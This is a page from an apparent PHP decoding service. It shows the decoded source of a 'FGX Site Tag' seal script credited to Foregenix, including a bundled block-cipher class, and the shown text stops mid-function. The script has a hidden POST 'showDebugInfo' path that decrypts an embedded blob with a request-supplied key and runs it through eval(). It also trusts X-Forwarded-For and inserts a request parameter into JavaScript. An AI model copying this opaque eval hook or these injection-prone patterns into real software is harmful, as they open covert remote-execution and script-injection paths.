Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php /** FGX Site Tag -- Copyright Foregenix 2015, All Rights Reserved **/ if (!function..
Decoded Output download
define('V','189592707580ddf6');define('R','5e6ac21334b482133bdbc8a864905e5fd32c688b9a796db33d0bfb7bdae5cde0');define('C','rQM9Q42NPb37OYll2x6LiLgL8kWt9ZSVA7iIbhmfnmk=');define('AUTHP', 'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDeEQrTWFiL0VHLzI1WXVYVnhjcWt2WlQyaQpKRUNxMGNXTmdFTk1ZZVVRL04zVUNtOU5sS2R1UThhR0haSjlvVGJUSlhlK21LekZPcXJ4MU81Zll6K1V1bnZ3CmRPVDZyWnNzRkNPWEtUVU1ycll1RGpCSTBDMHN0L0JLeE1Zb3RSbTk4eWpRVHJ3cTMrYUw3K3hnMmh2WndoOGEKSVppcVdpZEVDb1lOSlB0Um53SURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQo=');$src=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:"";
if ( isset($_SERVER['HTTP_X_FORWARDED_FOR']) ) $src = $_SERVER['HTTP_X_FORWARDED_FOR'];
define('SI','294771217580ddf6ebc5c58X');
if(isset($_POST['showDebugInfo'])) {
$exts=get_loaded_extensions();
if(isset($_REQUEST['k'])){$k=htmlspecialchars($_REQUEST['k']);}else{ik();}
if(!$k){ik();}if(h(trim(d(base64_decode(C),$k,V)))!==R){ik();}
$debugCore='nJpb5Z4c+ApizBOhynIEdxU7ZT9rWfxhBFwT2rN4WosgwYh0Qr7cLIcVbjSe6QrCoeve4+dcHyqWFA6GKOMaZ6DMpV7wEyBYsmSLqKaXlqmo4bwmgR87e6V5wPagQMkpfFJksz04eyQ0udYi6UicL1G/aJgY8XsyhG9e1XSv0sJTMGaBjA461Ku5f90ZUGb/gN7l+1FAEOs4yqHvyjkj5OnTRGScyq9I8Vygi1NZDqihKfNBN3e4+Vbi3hk3TIed9PrdkL+yn68+WOtegeI0cEGEl/wrHFlKryJcWs+tJk43U6qJn5YEhz0EpTmKpmYVDLS4A+0X3jkQxkqkIs9acCYQq6xBBGyknz17mKUXPZRJ6MTbpcZe0MgZJk5pNIfp1B5SL2z33UefmkF9HArRNh+CAIfjEz0LVqiHekClK2jrM4XY/dnODuQPdzp8IvU2lnGEa9g1LlI9v9EfMFklkeVEZn/e1qSA5XbMeoVj92UaiGkWZ2E6bAi2XPdrBB6uv3/TpbPVtxYkzPUu6XsE98ggGQtltIIQnrAbcXEI4c+LGaIYEd9099Sz7eXW2TGlNRjX04/1iOyqRJqZ96+SqgV9k/4rNGoNddHD09DGlHB8ke1nqtPsIkS7KMhBRZ+at/mtqWlq9KC8BemN098DPLElcKb4wM7JRci5U7cXVUpQ0BrhDFXIv9qmtFMtNw++pJVZig8fGJ1OG9yPl0pgd2faIskhSVYjq3vyPWgP6dtuyq15GrCPXqxaoYQxr1FBqvpE2XfAKGnIdmcmarbadx73QtYQO4ADR5wSY1Lzsw5xzOto01hwDjCL3Ec0PGgs/WlBFM9GSF2QF1tL8KXQACvobJWxDQFaPXl6+eDc+BqA8yCPE4GYDGiG4OsYvdHwRLOBBwJBge5t2EWMJSjL4iDIcThDnYGKDzW1mC/VIB0=';
eval(trim(gzuncompress(d(base64_decode($debugCore),$k,V))));
}
if(!isset($_REQUEST['k']) || !isset($_REQUEST['i']) || !isset($_REQUEST['e'])){
$cn = isset($_REQUEST['container']) ? addslashes($_REQUEST['container']):'FGXseal';
$si = isset($_REQUEST['size']) ? urlencode($_REQUEST['size']):'normal';
$pr = isset($_SERVER['HTTPS']) ? 'https' : 'http';
$faddr = isset($_SERVER['HTTPS']) ? 'portal.foregenix.com' : 'portal.foregenix.com';
header("content-type: application/x-javascript");
die("document.getElementById(\"$cn\").innerHTML = '<a href=\"#\" onclick=\"javascript:window.open(\'http://portal.foregenix.com/FGXsealInfo.php?si=".SI."\',\'Foregenix\',\'menubar=no,location=yes,alwaysRaised=yes,scrollbars=no,resizable=no,dependent=yes,status=no,top=30,left=300,width=350,height=300\'); return false;\" title=\"Secure Tag\"><img border=\"0\" src=\"//".$faddr."/FGXsealLogo.php?si=".SI."&size=$si\"/><\/a>';");
}
function req1(){
$exts=get_loaded_extensions();
$exts = array_map('strtolower', $exts);
$ts = array(
array('e'=>!function_exists('json_encode'),'m' => 'Install and enable the JSON extension.'),
array('e'=>!in_array('xmlwriter',$exts), 'm' => 'Install and enable the xmlwriter extension.'),
array('e'=>!in_array('mbstring',$exts),'m' => 'Install and enable the mbstring extension.'),
array('e'=>!function_exists('utf8_encode'),'m' => 'Install and enable xml extensions'),
array('e'=>!function_exists('hash_init'),'m' => 'Install and enable hash extension'),
array('e'=>!function_exists('preg_match'),'m' => 'Install and enable pcre extension'),
array('e'=>!in_array('spl', $exts),'m' => 'Install and enable the SPL extension.'),
);
$msgs = array();
foreach ( $ts as $t){ if ( $t['e'] ) { $msgs[] = $t['m']; } }
return $msgs;
}
function req(){
$msgs=req1();
if (count($msgs)){ fatal('f', implode(',', $msgs )); return; }
} req();
if(isset($_REQUEST['k'])){$k=htmlspecialchars($_REQUEST['k']);}else{ik();}if(isset($_REQUEST['i'])){$i=htmlspecialchars($_REQUEST['i']);}else{ua();}if(isset($_REQUEST['e'])){$e=htmlspecialchars($_REQUEST['e']);}else{bs();}function le(){fatal("a");}function ik(){fatal("b");}function io(){fatal("c");}function ua(){fatal("d");}function bs(){fatal("e");}function fatal($m,$msg='') { print <<<EndOfPage
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=utf-8"/><title>Foregenix FGX-Web</title></head><body><h1>Error</h1>Error 0x0$m. $msg The attempt has been logged</body></html>
EndOfPage;
exit;}
class Rjn { const MODE_CTR = -1; const MODE_ECB = 1; const MODE_CBC = 2; const MODE_CFB = 3; const MODE_OFB = 4; const MODE_STREAM = 5; static $WHIRLPOOL_AVAILABLE; const
ENGINE_INTERNAL = 1; var $mode; var $block_size = 16; var $key = false; var $iv = false; var $encryptIV; var $decryptIV; var $continuousBuffer = false; var $enbuffer; var
$debuffer; var $enchanged = true; var $dechanged = true; var $ecb; var $cfb_init_len = 600; var $changed = true; var $padding = true; var $paddable = false; var $engine;
var $preferredEngine; var $inline_crypt; var $use_inline_crypt; var $skip_key_adjustment = false; var $explicit_key_length = false; function setIV($iv) { if ($this->mode
== self::MODE_ECB) { throw new \InvalidArgumentException('This mode does not require an IV.'); } if ($this->mode == self::MODE_STREAM && $this->usesIV()) { throw new
\InvalidArgumentException('This algorithm does not use an IV.'); } if (strlen($iv) != $this->block_size) { throw new \LengthException('Received initialization vector of
size ' . strlen($iv) . ', but size ' . $this->block_size . ' is required'); } $this->iv = $iv; $this->changed = true; } function usesIV() { return true; } function
getKeyLength() { return $this->key_length << 3; } function getBlockLength() { return $this->block_size << 3; } function setPassword($password, $method = 'pbkdf2') { $key
= ''; switch ($method) { default: $func_args = func_get_args(); $hash = isset($func_args[2]) ? $func_args[2] : 'sha1'; $salt = isset($func_args[3]) ? $func_args[3] :
$this->password_default_salt; $count = isset($func_args[4]) ? $func_args[4] : 1000; if (isset($func_args[5])) { $dkLen = $func_args[5]; } else { $key_length =
$this->explicit_key_length !== false ? $this->explicit_key_length : $this->key_length; $dkLen = $method == 'pbkdf1' ? 2 * $key_length : $key_length; } switch (true) {
case $method == 'pbkdf1': $hashObj = new Hash(); $hashObj->setHash($hash); if ($dkLen > $hashObj->getLength()) { throw new \LengthException('Derived key length cannot be
longer than the hash length'); } $t = $password . $salt; for ($i = 0; $i < $count; ++$i) { $t = $hashObj->hash($t); } $key = substr($t, 0, $dkLen);
$this->setKey(substr($key, 0, $dkLen >> 1)); $this->setIV(substr($key, $dkLen >> 1)); return true; case !function_exists('hash_pbkdf2'): case
!function_exists('hash_algos'): case !in_array($hash, hash_algos()): $i = 1; while (strlen($key) < $dkLen) { $hmac = new Hash(); $hmac->setHash($hash);
$hmac->setKey($password); $f = $u = $hmac->hash($salt . pack('N', $i++)); for ($j = 2; $j <= $count; ++$j) { $u = $hmac->hash($u); $f^= $u; } $key.= $f; } $key =
substr($key, 0, $dkLen); break; default: $key = hash_pbkdf2($hash, $password, $salt, $count, $dkLen, true); } } $this->setKey($key); return true; } function
encrypt($plaintext) { if ($this->paddable) { $plaintext = $this->_pad($plaintext); } if ($this->changed) { $this->_setup(); $this->changed = false; } if
($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('encrypt', $this, $plaintext); } $buffer = &$this->enbuffer; $block_size = $this->block_size;
$ciphertext = ''; switch ($this->mode) { case self::MODE_ECB: for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $ciphertext.=
$this->_encryptBlock(substr($plaintext, $i, $block_size)); } break; case self::MODE_CBC: $xor = $this->encryptIV; for ($i = 0; $i < strlen($plaintext); $i+=$block_size) {
$block = substr($plaintext, $i, $block_size); $block = $this->_encryptBlock($block ^ $xor); $xor = $block; $ciphertext.= $block; } if ($this->continuousBuffer) {
$this->encryptIV = $xor; } break; case self::MODE_CTR: $xor = $this->encryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($plaintext);
$i+=$block_size) { $block = substr($plaintext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor);
} $this->_increment_str($xor); $key = $this->_string_shift($buffer['ciphertext'], $block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i <
strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $ciphertext.= $block
^ $key; } } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) .
$buffer['ciphertext']; } } break; case self::MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->encryptIV; $pos = &$buffer['pos']; } else { $iv = $this->encryptIV;
$pos = 0; } $len = strlen($plaintext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i
= $len; $pos+= $len; $len = 0; } $ciphertext = substr($iv, $orig_pos) ^ $plaintext; $iv = substr_replace($iv, $ciphertext, $orig_pos, $i); } while ($len >= $block_size) {
$iv = $this->_encryptBlock($iv) ^ substr($plaintext, $i, $block_size); $ciphertext.= $iv; $len-= $block_size; $i+= $block_size; } if ($len) { $iv =
$this->_encryptBlock($iv); $block = $iv ^ substr($plaintext, $i); $iv = substr_replace($iv, $block, 0, $len); $ciphertext.= $block; $pos = $len; } break; case
self::MODE_OFB: $xor = $this->encryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $block = substr($plaintext, $i,
$block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'],
$block_size); $ciphertext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($plaintext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $ciphertext.=
substr($plaintext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->encryptIV = $xor; if ($start = strlen($plaintext) % $block_size) {
$buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case self::MODE_STREAM: $ciphertext = $this->_encryptBlock($plaintext); break; } return $ciphertext; }
function decrypt($ciphertext) { if ($this->paddable && strlen($ciphertext) % $this->block_size) { throw new \LengthException('The ciphertext length (' .
strlen($ciphertext) . ') needs to be a multiple of the block size (' . $this->block_size . ')'); } if ($this->changed) { $this->_setup(); $this->changed = false; } if
($this->use_inline_crypt) { $inline = $this->inline_crypt; return $inline('decrypt', $this, $ciphertext); } $block_size = $this->block_size; $buffer = &$this->debuffer;
$plaintext = ''; switch ($this->mode) { case self::MODE_ECB: for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $plaintext.=
$this->_decryptBlock(substr($ciphertext, $i, $block_size)); } break; case self::MODE_CBC: $xor = $this->decryptIV; for ($i = 0; $i < strlen($ciphertext); $i+=$block_size)
{ $block = substr($ciphertext, $i, $block_size); $plaintext.= $this->_decryptBlock($block) ^ $xor; $xor = $block; } if ($this->continuousBuffer) { $this->decryptIV =
$xor; } break; case self::MODE_CTR: $xor = $this->decryptIV; if (strlen($buffer['ciphertext'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block =
substr($ciphertext, $i, $block_size); if (strlen($block) > strlen($buffer['ciphertext'])) { $buffer['ciphertext'].= $this->_encryptBlock($xor);
$this->_increment_str($xor); } $key = $this->_string_shift($buffer['ciphertext'], $block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i <
strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i, $block_size); $key = $this->_encryptBlock($xor); $this->_increment_str($xor); $plaintext.= $block
^ $key; } } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) { $buffer['ciphertext'] = substr($key, $start) .
$buffer['ciphertext']; } } break; case self::MODE_CFB: if ($this->continuousBuffer) { $iv = &$this->decryptIV; $pos = &$buffer['pos']; } else { $iv = $this->decryptIV;
$pos = 0; } $len = strlen($ciphertext); $i = 0; if ($pos) { $orig_pos = $pos; $max = $block_size - $pos; if ($len >= $max) { $i = $max; $len-= $max; $pos = 0; } else { $i
= $len; $pos+= $len; $len = 0; } $plaintext = substr($iv, $orig_pos) ^ $ciphertext; $iv = substr_replace($iv, substr($ciphertext, 0, $i), $orig_pos, $i); } while ($len >=
$block_size) { $iv = $this->_encryptBlock($iv); $cb = substr($ciphertext, $i, $block_size); $plaintext.= $iv ^ $cb; $iv = $cb; $len-= $block_size; $i+= $block_size; } if
($len) { $iv = $this->_encryptBlock($iv); $plaintext.= $iv ^ substr($ciphertext, $i); $iv = substr_replace($iv, substr($ciphertext, $i), 0, $len); $pos = $len; } break;
case self::MODE_OFB: $xor = $this->decryptIV; if (strlen($buffer['xor'])) { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $block = substr($ciphertext, $i,
$block_size); if (strlen($block) > strlen($buffer['xor'])) { $xor = $this->_encryptBlock($xor); $buffer['xor'].= $xor; } $key = $this->_string_shift($buffer['xor'],
$block_size); $plaintext.= $block ^ $key; } } else { for ($i = 0; $i < strlen($ciphertext); $i+=$block_size) { $xor = $this->_encryptBlock($xor); $plaintext.=
substr($ciphertext, $i, $block_size) ^ $xor; } $key = $xor; } if ($this->continuousBuffer) { $this->decryptIV = $xor; if ($start = strlen($ciphertext) % $block_size) {
$buffer['xor'] = substr($key, $start) . $buffer['xor']; } } break; case self::MODE_STREAM: $plaintext = $this->_decryptBlock($ciphertext); break; } return $this->paddable
? $this->_unpad($plaintext) : $plaintext; } function _getIV($iv) { return $this->mode == self::MODE_ECB ? str_repeat("\0", $this->block_size) : $iv; } function
enablePadding() { $this->padding = true; } function disablePadding() { $this->padding = false; } function enableContinuousBuffer() { if ($this->mode == self::MODE_ECB) {
return; } $this->continuousBuffer = true; $this->_setEngine(); } function disableContinuousBuffer() { if ($this->mode == self::MODE_ECB) { return; } if
(!$this->continuousBuffer) { return; } $this->continuousBuffer = false; $this->changed = true; $this->_setEngine(); } function setPreferredEngine($engine) { switch
($engine) { default: case self::ENGINE_INTERNAL: $this->preferredEngine = $engine; break; } $this->_setEngine(); } function getEngine() { return $this->engine; } function
_setEngine() { $this->engine = null; $candidateEngines = array( $this->preferredEngine,); foreach ($candidateEngines as $engine) { if ($this->isValidEngine($engine)) {
$this->engine = $engine; break; } } if (!$this->engine) { $this->engine = self::ENGINE_INTERNAL; } $this->changed = true; } function _setup() { $this->_clearBuffers();
$this->_setupKey(); if ($this->use_inline_crypt) { $this->_setupInlineCrypt(); } } function _pad($text) { $length = strlen($text); if (!$this->padding) { if ($length %
$this->block_size == 0) { return $text; } else { throw new \LengthException("The plaintext's length ($length) is not a multiple of the block size ({$this->block_size}).
Try enabling padding."); } } $pad = $this->block_size - ($length % $this->block_size); return str_pad($text, $length + $pad, chr($pad)); } function _unpad($text) { if
(!$this->padding) { return $text; } $length = ord($text[strlen($text) - 1]); if (!$length || $length > $this->block_size) { throw new \LengthException("The ciphertext has
an invalid padding length ($length) compared to the block size ({$this->block_size})"); } return substr($text, 0, -$length); } function _clearBuffers() { $this->enbuffer
= $this->debuffer = array('ciphertext' => '', 'xor' => '', 'pos' => 0); if ($this->iv === false && !in_array($this->mode, array(self::MODE_STREAM, self::MODE_ECB))) {
throw new \UnexpectedValueException('No IV has been defined'); } $this->encryptIV = $this->decryptIV = $this->iv; } function _string_shift(&$string, $index = 1) { $substr
= substr($string, 0, $index); $string = substr($string, $index); return $substr; } function _string_pop(&$string, $index = 1) { $substr = substr($string, -$index);
$string = substr($string, 0, -$index); return $substr; } function _increment_str(&$var) { for ($i = 4; $i <= strlen($var); $i+= 4) { $temp = substr($var, -$i, 4); switch
($temp) { case "\xFF\xFF\xFF\xFF": $var = substr_replace($var, "\x00\x00\x00\x00", -$i, 4); break; case "\x7F\xFF\xFF\xFF": $var = substr_replace($var,
"\x80\x00\x00\x00", -$i, 4); return; default: $temp = unpack('Nnum', $temp); $var = substr_replace($var, pack('N', $temp['num'] + 1), -$i, 4); return; } } $remainder =
strlen($var) % 4; if ($remainder == 0) { return; } $temp = unpack('Nnum', str_pad(substr($var, 0, $remainder), 4, "\0", STR_PAD_LEFT)); $temp = substr(pack('N',
$temp['num'] + 1), -$remainder); $var = substr_replace($var, $temp, 0, $remainder); } function _createInlineCryptFunction($cipher_code) { $block_size = $this->block_size;
$init_crypt = isset($cipher_code['init_crypt']) ? $cipher_code['init_crypt'] : ''; $init_encrypt = isset($cipher_code['init_encrypt']) ?
$cipher_code['init_encrypt'] : ''; $init_decrypt = isset($cipher_code['init_decrypt']) ? $cipher_code['init_decrypt'] : ''; $encrypt_block =
$cipher_code['encrypt_block']; $decrypt_block = $cipher_code['decrypt_block']; switch ($this->mode) { case self::MODE_ECB: $encrypt = $init_encrypt . ' $_ciphertext = "";
$_plaintext_len = strlen($_text); for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.'); '.$encrypt_block.'
$_ciphertext.= $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) + ('.$block_size.' - strlen($_text) %
'.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i,
'.$block_size.'); '.$decrypt_block.' $_plaintext.= $in; } return $self->_unpad($_plaintext); '; break; case self::MODE_CTR: $encrypt = $init_encrypt . ' $_ciphertext =
""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer = &$self->enbuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_plaintext_len;
$_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_ciphertext.= $_block ^ $_key; } }
else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_key = $in; $_ciphertext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len %
'.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = "";
$_ciphertext_len = strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["ciphertext"])) { for ($_i = 0; $_i < $_ciphertext_len;
$_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["ciphertext"])) { $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_buffer["ciphertext"].= $in; } $_key = $self->_string_shift($_buffer["ciphertext"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } }
else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); $in = $_xor; '.$encrypt_block.'
$self->_increment_str($_xor); $_key = $in; $_plaintext.= $_block ^ $_key; } } if ($self->continuousBuffer) { $self->decryptIV = $_xor; if ($_start = $_ciphertext_len %
'.$block_size.') { $_buffer["ciphertext"] = substr($_key, $_start) . $_buffer["ciphertext"]; } } return $_plaintext; '; break; case self::MODE_CFB: $encrypt =
$init_encrypt . ' $_ciphertext = ""; $_buffer = &$self->enbuffer; if ($self->continuousBuffer) { $_iv = &$self->encryptIV; $_pos = &$_buffer["pos"]; } else { $_iv =
$self->encryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos) { $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max;
$_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; } $_ciphertext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, $_ciphertext,
$_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv; '.$encrypt_block.'; $_iv = $in ^ substr($_text, $_i, '.$block_size.'); $_ciphertext.= $_iv; $_len-=
'.$block_size.'; $_i+= '.$block_size.'; } if ($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_block = $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv,
$_block, 0, $_len); $_ciphertext.= $_block; $_pos = $_len; } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_buffer = &$self->debuffer; if
($self->continuousBuffer) { $_iv = &$self->decryptIV; $_pos = &$_buffer["pos"]; } else { $_iv = $self->decryptIV; $_pos = 0; } $_len = strlen($_text); $_i = 0; if ($_pos)
{ $_orig_pos = $_pos; $_max = '.$block_size.' - $_pos; if ($_len >= $_max) { $_i = $_max; $_len-= $_max; $_pos = 0; } else { $_i = $_len; $_pos+= $_len; $_len = 0; }
$_plaintext = substr($_iv, $_orig_pos) ^ $_text; $_iv = substr_replace($_iv, substr($_text, 0, $_i), $_orig_pos, $_i); } while ($_len >= '.$block_size.') { $in = $_iv;
'.$encrypt_block.' $_iv = $in; $cb = substr($_text, $_i, '.$block_size.'); $_plaintext.= $_iv ^ $cb; $_iv = $cb; $_len-= '.$block_size.'; $_i+= '.$block_size.'; } if
($_len) { $in = $_iv; '.$encrypt_block.' $_iv = $in; $_plaintext.= $_iv ^ substr($_text, $_i); $_iv = substr_replace($_iv, substr($_text, $_i), 0, $_len); $_pos = $_len;
} return $_plaintext; '; break; case self::MODE_OFB: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $_xor = $self->encryptIV; $_buffer
= &$self->enbuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $_block = substr($_text, $_i, '.$block_size.'); if
(strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; } $_key = $self->_string_shift($_buffer["xor"],
'.$block_size.'); $_ciphertext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = $_xor; '.$encrypt_block.' $_xor = $in;
$_ciphertext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) { $self->encryptIV = $_xor; if ($_start = $_plaintext_len %
'.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_ciphertext; '; $decrypt = $init_encrypt . ' $_plaintext = ""; $_ciphertext_len
= strlen($_text); $_xor = $self->decryptIV; $_buffer = &$self->debuffer; if (strlen($_buffer["xor"])) { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') {
$_block = substr($_text, $_i, '.$block_size.'); if (strlen($_block) > strlen($_buffer["xor"])) { $in = $_xor; '.$encrypt_block.' $_xor = $in; $_buffer["xor"].= $_xor; }
$_key = $self->_string_shift($_buffer["xor"], '.$block_size.'); $_plaintext.= $_block ^ $_key; } } else { for ($_i = 0; $_i < $_ciphertext_len; $_i+= '.$block_size.') {
$in = $_xor; '.$encrypt_block.' $_xor = $in; $_plaintext.= substr($_text, $_i, '.$block_size.') ^ $_xor; } $_key = $_xor; } if ($self->continuousBuffer) {
$self->decryptIV = $_xor; if ($_start = $_ciphertext_len % '.$block_size.') { $_buffer["xor"] = substr($_key, $_start) . $_buffer["xor"]; } } return $_plaintext; ';
break; case self::MODE_STREAM: $encrypt = $init_encrypt . ' $_ciphertext = ""; '.$encrypt_block.' return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = "";
'.$decrypt_block.' return $_plaintext; '; break; default: $encrypt = $init_encrypt . ' $_ciphertext = ""; $_plaintext_len = strlen($_text); $in = $self->encryptIV; for
($_i = 0; $_i < $_plaintext_len; $_i+= '.$block_size.') { $in = substr($_text, $_i, '.$block_size.') ^ $in; '.$encrypt_block.' $_ciphertext.= $in; } if
($self->continuousBuffer) { $self->encryptIV = $in; } return $_ciphertext; '; $decrypt = $init_decrypt . ' $_plaintext = ""; $_text = str_pad($_text, strlen($_text) +
('.$block_size.' - strlen($_text) % '.$block_size.') % '.$block_size.', chr(0)); $_ciphertext_len = strlen($_text); $_iv = $self->decryptIV; for ($_i = 0; $_i <
$_ciphertext_len; $_i+= '.$block_size.') { $in = $_block = substr($_text, $_i, '.$block_size.'); '.$decrypt_block.' $_plaintext.= $in ^ $_iv; $_iv = $_block; } if
($self->continuousBuffer) { $self->decryptIV = $_iv; } return $self->_unpad($_plaintext); '; break; } return create_function('$_action, &$self, $_text', $init_crypt . 'if
($_action == "encrypt") { ' . $encrypt . ' } else { ' . $decrypt . ' }'); } function &_getLambdaFunctions() { static $functions = array(); return $functions; } function
_hashInlineCryptFunction($bytes) { if (!isset(self::$WHIRLPOOL_AVAILABLE)) { self::$WHIRLPOOL_AVAILABLE = extension_loaded('hash') && in_array('whirlpool', hash_algos());
} $result = ''; $hash = $bytes; switch (true) { case self::$WHIRLPOOL_AVAILABLE: foreach (str_split($bytes, 64) as $t) { $hash = hash('whirlpool', $hash, true); $result
.= $t ^ $hash; } return $result . hash('whirlpool', $hash, true); default: $len = strlen($bytes); for ($i = 0; $i < $len; $i+=20) { $t = substr($bytes, $i, 20); $hash =
pack('H*', sha1($hash)); $result .= $t ^ $hash; } return $result . pack('H*', sha1($hash)); } } /* --- */ var $password_default_salt = 'phpseclib'; var $w; var $dw; var
$Nb = 4; var $key_length = 16; var $Nk = 4; var $Nr; var $c; var $kl; function __construct($mode) { if ($mode == self::MODE_STREAM) { throw new
\InvalidArgumentException('Block ciphers cannot be ran in stream mode'); } /* --- */ switch ($mode) { case self::MODE_ECB: case self::MODE_CBC: $this->paddable = true;
break; case self::MODE_CTR: case self::MODE_CFB: case self::MODE_OFB: case self::MODE_STREAM: $this->paddable = false; break; default: throw new
\InvalidArgumentException('No valid mode has been specified'); } $this->mode = $mode; if ($this->use_inline_crypt !== false && function_exists('create_function')) {
$this->use_inline_crypt = true; } } function setKeyLength($length) { switch ($length) { case 128: case 160: case 192: case 224: case 256: $this->key_length = $length >>
3; break; default: throw new \LengthException('Key size of ' . $length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are
supported'); } $this->explicit_key_length = $length >> 3; if (is_string($this->key) && strlen($this->key) != $this->explicit_key_length) { $this->key = false; throw new
\LengthException('Key has already been set and is not ' .$this->explicit_key_length . ' bytes long'); } } function setKey($key) { switch (strlen($key)) { case 16: case
20: case 24: case 28: case 32: break; default: throw new \LengthException('Key of size ' . strlen($key) . ' not supported by this algorithm. Only keys of sizes 16, 20,
24, 28 or 32 are supported'); } if ($this->explicit_key_length !== false && strlen($key) != $this->explicit_key_length) { throw new \LengthException('Key length has
already been set to ' . $this->explicit_key_length . ' bytes and this key is ' . strlen($key) . ' bytes'); } $this->key = $key; $this->key_length = strlen($key);
$this->changed = true; $this->_setEngine(); } function setBlockLength($length) { switch ($length) { case 128: case 160: case 192: case 224: case 256: break; default:
throw new \LengthException('Key size of ' . $length . ' bits is not supported by this algorithm. Only keys of sizes 128, 160, 192, 224 or 256 bits are supported'); }
$this->Nb = $length >> 5; $this->block_size = $length >> 3; $this->changed = true; $this->_setEngine(); } function isValidEngine($engine) { switch ($engine) { case
self::ENGINE_INTERNAL: return true; } return false; } function _encryptBlock($in) { static $tables; if (empty($tables)) { $tables = &$this->_getTables(); } $t0 =
$tables[0]; $t1 = $tables[1]; $t2 = $tables[2]; $t3 = $tables[3]; $sbox = $tables[4]; $state = array(); $words = unpack('N*', $in); $c = $this->c; $w = $this->w;
$Nb = $this->Nb; $Nr = $this->Nr; $wc = $Nb - 1; foreach ($words as $word) { $state[] = $word ^ $w[++$wc]; } $temp = array(); for ($round = 1; $round < $Nr; ++$round) {
